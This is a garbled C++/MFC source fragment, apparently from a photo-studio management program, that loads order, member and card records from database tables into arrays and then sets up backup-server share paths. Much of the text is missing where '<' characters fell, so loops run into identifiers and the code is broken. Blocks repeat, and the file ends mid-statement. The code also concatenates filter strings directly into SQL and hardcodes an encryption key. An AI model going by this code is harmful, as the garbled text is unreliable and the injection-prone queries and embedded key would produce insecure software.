myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstMyWork rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { if(rsSt.id.IsEmpty ()) { rsSt.MoveNext(); continue; } g_List1array.ElementAt (ii).RemoveAll (); BOOL bFind=0; for(int aa=0; aam_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstTodayForm rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from mywork";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstMyWork rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { if(rsSt.id.IsEmpty ()) { rsSt.MoveNext(); continue; } g_List1array.ElementAt (ii).RemoveAll (); BOOL bFind=0; for(int aa=0; aam_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm4 rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while (!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from photoprint";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstPhotoPrintForm rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.m_id) { BOOL bFind=0; for(int aa=0; aam_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm4 rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while (!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.waiter4) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindansp";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDinDanSP2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.id) { BOOL bFind=0; for(int aa=0; aaarray; { MyLock lock("savebranchinfo"); CFile fp; CString path=g_mainpath+"\\branchinfo.dat"; if(::PathFileExists (path)) { fp.Open (path, CFile::modeRead); DWORD leng=fp.GetLength (); if(leng>=sizeof(DWORD)*2) { DWORD flag; fp.Seek(-sizeof(DWORD),CFile::end); fp.Read (&flag, sizeof(DWORD)); if(flag==889900) { fp.SeekToBegin (); DWORD leng=fp.GetLength (); DWORD arraysize; fp.Read (&arraysize, sizeof(DWORD)); BYTE *pData=new BYTE[leng-sizeof(DWORD)]; fp.Read (pData,leng-sizeof(DWORD)); fp.Close (); CMemFile memfile; memfile.Attach (pData,leng-sizeof(DWORD)); CArchive ar(&memfile, CArchive::load); array.SetSize(arraysize); for(int ii=0; iim_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm4 rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while (!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindansp";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDinDanSP2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.id) { BOOL bFind=0; for(int aa=0; aabranchdb2array; CStringArray branchname2array; branchdb2array.Copy(g_branchdb2array); branchname2array.Copy(g_branchname2array); branchname2array.InsertAt (0, g_branchnamearray.ElementAt (g_branchnamearray.GetSize ()-1)); branchdb2array.InsertAt (0, &g_db); int ii=0; for(int aa=0; aam_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membermanage";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); RstMemberReg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="date desc"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_sex) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; m_List1array.ElementAt (ii).Add(rsSt.m_balance) ; m_List1array.ElementAt (ii).Add(rsSt.m_cardtype) ; m_List1array.ElementAt (ii).Add(rsSt.m_date) ; m_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membercard3";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstmembercard3 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="memberno,date desc"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.memberno) ; m_List2array.ElementAt (ii).Add(rsSt.card2no) ; m_List2array.ElementAt (ii).Add(rsSt.balance) ; m_List2array.ElementAt (ii).Add(rsSt.date) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } int size=0; g_List1array.SetSize(m_List1array.GetSize ()+m_List2array.GetSize (), 1); for(ii=0; iim_List1array; CArraym_List2array; CArraym_List3array; CString strdate1,strdate2; strdate1.Format ("%s-%02d-%02d", filter, 1, 1); strdate2.Format ("%s-%02d-%02d", filter, 12, 31); int covertrate=100; CString spoint; { CRecordset myset(m_pConndb); CString sql="select * from [version]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("rate2", sql); myset.Close(); covertrate=atoi(sql); if(covertrate==0)covertrate=100; } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membermanage"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); RstMemberReg rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.m_strSort="[date] desc"; rsSt.Open(); DWORD ii=0; if(covertrate!=100) { while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_sex) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; spoint.Format ("%d", atoi(rsSt.m_money)*covertrate/100); m_List1array.ElementAt (ii).Add(spoint) ; m_List1array.ElementAt (ii).Add(rsSt.m_cardtype) ; m_List1array.ElementAt (ii).Add(rsSt.m_date) ; m_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } } else { while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_sex) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; m_List1array.ElementAt (ii).Add(rsSt.m_money) ; m_List1array.ElementAt (ii).Add(rsSt.m_cardtype) ; m_List1array.ElementAt (ii).Add(rsSt.m_date) ; m_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { filter="";//.Format("[date]>='%s' and [date]<='%s'", strdate1, strdate2); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membercard2";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstmembercard2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="date desc"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.memberno) ; m_List2array.ElementAt (ii).Add(rsSt.card2no) ; m_List2array.ElementAt (ii).Add(rsSt.date) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } { // filter.Format("[date2]>='%s' and [date2]<='%s' and [type]='转介绍' or [date]>='%s' and [date]<='%s' and [type]='转介绍'", strdate1, strdate2, strdate1, strdate2); filter.Format("[type]='转介绍'"); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from memberreg"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List3array.SetSize(atol(sql) , 1 ); RstMemberReg2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="date desc"; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List3array.ElementAt (ii).RemoveAll (); m_List3array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List3array.ElementAt (ii).Add(rsSt.m_card2no) ; m_List3array.ElementAt (ii).Add(rsSt.m_date2) ; m_List3array.ElementAt (ii).Add(rsSt.m_dindanid) ; m_List3array.ElementAt (ii).Add(rsSt.m_taoxi) ; m_List3array.ElementAt (ii).Add(rsSt.m_money) ; m_List3array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(m_List3array.GetSize ()<=ii)break; } rsSt.Close();m_List3array.SetSize(ii , 1 ); } DWORD size=0; g_List1array.SetSize(m_List1array.GetSize ()+m_List2array.GetSize ()+m_List3array.GetSize (), 1); for(ii=0; iim_List1array; CArraym_List2array; CArraym_List3array; CString strdate1,strdate2; strdate1.Format ("%s-%02d-%02d", filter, 1, 1); strdate2.Format ("%s-%02d-%02d", filter, 12, 31); int covertrate=100; CString spoint; { CRecordset myset(m_pConndb); CString sql="select * from [version]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("rate2", sql); myset.Close(); covertrate=atoi(sql); if(covertrate==0)covertrate=100; } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from memberview2"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); memberview2Reg rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.m_strSort="[date] desc,memberno"; rsSt.Open(); DWORD ii=0; if(covertrate!=100) { while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_sex) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; spoint.Format ("%d", atoi(rsSt.m_money)*covertrate/100); m_List1array.ElementAt (ii).Add(spoint) ; m_List1array.ElementAt (ii).Add(rsSt.m_cardtype) ; m_List1array.ElementAt (ii).Add(rsSt.m_date) ; m_List1array.ElementAt (ii).Add(rsSt.card2no) ; m_List1array.ElementAt (ii).Add(rsSt.card2date) ; m_List1array.ElementAt (ii).Add(""); m_List1array.ElementAt (ii).Add(""); m_List1array.ElementAt (ii).Add(""); m_List1array.ElementAt (ii).Add(""); m_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } } else { while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_sex) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; m_List1array.ElementAt (ii).Add(rsSt.m_money) ; m_List1array.ElementAt (ii).Add(rsSt.m_cardtype) ; m_List1array.ElementAt (ii).Add(rsSt.m_date) ; /////////////////////////////////// m_List1array.ElementAt (ii).Add(rsSt.card2no) ; m_List1array.ElementAt (ii).Add(rsSt.card2date) ; m_List1array.ElementAt (ii).Add(""); m_List1array.ElementAt (ii).Add(""); m_List1array.ElementAt (ii).Add(""); m_List1array.ElementAt (ii).Add(""); /////////////////////////////////// m_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { filter.Format("[type]='转介绍'"); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from memberview3"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List3array.SetSize(atol(sql) , 1 ); memberview3Reg rsSt; rsSt.m_pDatabase=m_pConndb; if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="[memberno] desc"; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List3array.ElementAt (ii).RemoveAll (); m_List3array.ElementAt (ii).Add(rsSt.m_memberno) ; m_List3array.ElementAt (ii).Add("") ; m_List3array.ElementAt (ii).Add("") ; m_List3array.ElementAt (ii).Add("") ; m_List3array.ElementAt (ii).Add("") ; m_List3array.ElementAt (ii).Add("") ; m_List3array.ElementAt (ii).Add("") ; /////////////////////////////////// m_List3array.ElementAt (ii).Add(rsSt.card2no) ; m_List3array.ElementAt (ii).Add(rsSt.date2) ; m_List3array.ElementAt (ii).Add(rsSt.dindanid) ; m_List3array.ElementAt (ii).Add(rsSt.taoxi) ; m_List3array.ElementAt (ii).Add(rsSt.card2money) ; m_List3array.ElementAt (ii).Add(rsSt.card2date) ; /////////////////////////////////// m_List3array.ElementAt (ii).Add("") ; ii++; rsSt.MoveNext();if(m_List3array.GetSize ()<=ii)break; } rsSt.Close();m_List3array.SetSize(ii , 1 ); } DWORD size=0; g_List1array.SetSize(m_List1array.GetSize ()+m_List3array.GetSize (), 1); CString findedid,oldid; for(ii=0; ii=0; jj--) { if( m_List1array.ElementAt(ii).ElementAt(0)==m_List3array.ElementAt(jj).ElementAt(0)) { m_List3array.ElementAt (jj).SetAt (0, ""); g_List1array.ElementAt (size).Copy(m_List3array.ElementAt (jj)); size++; m_List3array.RemoveAt (jj); } } } } g_List1array.SetSize(size); } break; case 168://loginsign { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from loginsign";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstloginsign rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.type) ; g_List1array.ElementAt (ii).Add(rsSt.cleck) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 169://baseexpendtype { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from baseexpendtype";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstBaseExpendType rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 170://msgtemp2 { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from msgtemp2";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstmsgtemp2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.content1) ; g_List1array.ElementAt (ii).Add(rsSt.content2) ; g_List1array.ElementAt (ii).Add(rsSt.check1) ; g_List1array.ElementAt (ii).Add(rsSt.check2) ; g_List1array.ElementAt (ii).Add(rsSt.point) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 171://bakstate { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from bakstate";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstbakstate rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.photo) ; g_List1array.ElementAt (ii).Add(rsSt.info) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 172://dindan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDindanForm7 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString m_money1; CString m_money2; CString m_money3; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.txtype) ; g_List1array.ElementAt (ii).Add(rsSt.time1) ; m_money1.Format ("%f", atof(rsSt.taoxijiage)+atof(rsSt.m_payed4)); m_money2.Format ("%f", atof(rsSt.m_payed5)+atof(rsSt.m_money1)); m_money3.Format ("%f", atof(m_money1)-atof(m_money2)); ConvertToPrice(m_money1); ConvertToPrice(m_money2); ConvertToPrice(m_money3); ConvertToPrice(rsSt.m_payed4); if(rsSt.m_payed4=="")rsSt.m_payed4="0"; g_List1array.ElementAt (ii).Add(m_money1) ; g_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (ii).Add(rsSt.m_payed4) ; g_List1array.ElementAt (ii).Add(m_money2) ; g_List1array.ElementAt (ii).Add(m_money3) ; g_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (ii).Add(rsSt.discount) ; g_List1array.ElementAt (ii).Add(rsSt.taoxizs) ; g_List1array.ElementAt (ii).Add(rsSt.takezs) ; g_List1array.ElementAt (ii).Add(rsSt.choosezs) ; g_List1array.ElementAt (ii).Add(rsSt.status2) ; g_List1array.ElementAt (ii).Add(rsSt.dindantype) ; g_List1array.ElementAt (ii).Add(rsSt.from) ; g_List1array.ElementAt (ii).Add(rsSt.reason) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 173://dindansp2 { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindansp2";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstdindansp2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.count) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 174://framesize { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from framesize";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstframesize rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.width) ; g_List1array.ElementAt (ii).Add(rsSt.height) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 175:// { CArraym_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client3";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); Rstclient3 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_name2) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client3phonerecord";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstclient3phonerecord rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp=CTime::GetCurrentTime ().Format ("%Y%m%d%H%M%S"); int aa=-1; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.phone) { temp=rsSt.phone; if(aa!=-1 && aam_strRemoteHost); WriteLogin(ss); WriteLogin(e->m_strError);return; } nStep=1; CMemFile memfile; CArchive ar(&memfile, CArchive::store); for( ii=0; iim_strRemoteHost); WriteLogin(ss); } } void EncryptFile3(CString path) { CFile fp; if(fp.Open (path, CFile::modeRead)==0)return; DWORD leng=fp.GetLength (); BYTE *pData=new BYTE[leng]; fp.Read (pData, leng); fp.Close (); EncryptFile2(pData, leng, "z9871234abcd"); fp.Open (path, CFile::modeWrite); fp.Write (pData, leng); fp.Close (); delete []pData; } BOOL g_bSteal=0; extern DWORD FindAppProcessID(CString path); extern void GetPathFromNetShareName(CString name, CString &sRet); CString g_bakserver1,g_bakserver2,g_bakserver3,g_bakserver4; void CConnectSocket::UpdateBuKuan3() { DWORD id=FindAppProcessID("AutoRun.exe"); if(id!=-1) { HANDLE ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id); if(ProcessHandle)TerminateProcess(ProcessHandle,0); } ::Sleep(1000); id=FindAppProcessID("AutoRun.exe"); if(id!=-1) { HANDLE ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id); if(ProcessHandle)TerminateProcess(ProcessHandle,0); } CString m_bak1,m_bak2,m_bak3,m_bak4; CString m_bak11,m_bak22,m_bak33,m_bak44; { CRstversion rsSt; rsSt.m_pDatabase=&g_db; rsSt.Open(); if(!rsSt.IsEOF()) { m_bak1=rsSt.m_bak1; m_bak2=rsSt.m_bak2; m_bak3=rsSt.m_bak3; m_bak4=rsSt.m_bak4; g_bakserver1=rsSt.m_bakserver1; g_bakserver2=rsSt.m_bakserver2; g_bakserver3=rsSt.m_bakserver3; g_bakserver4=rsSt.m_bakserver4; m_bak11=rsSt.bak11; m_bak22=rsSt.bak22; m_bak33=rsSt.bak33; m_bak44=rsSt.bak44; } rsSt.Close(); } #ifdef CHILD_VERSION if(g_bakserver1.Find(":")==-1) g_bakserver1="\\\\"+g_bakserver1+"\\客户原片备份(儿童管理软件)$"; if(1)//(localname.CompareNoCase (g_bakserver1)==0 || CompareIP(localname, g_bakserver1)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\客户原片备份(儿童管理软件)$")) GetPathFromNetShareName("客户原片备份(儿童管理软件)$", g_bakserver1); if(g_bakserver2.Find(":")==-1) g_bakserver2="\\\\"+g_bakserver2+"\\修好的片备份(儿童管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver2)==0 || CompareIP(localname, g_bakserver2)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\修好的片备份(儿童管理软件)$")) GetPathFromNetShareName("修好的片备份(儿童管理软件)$", g_bakserver2); if(g_bakserver3.Find(":")==-1) g_bakserver3="\\\\"+g_bakserver3+"\\精修好的片备份(儿童管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver3)==0 || CompareIP(localname, g_bakserver3)==0) && 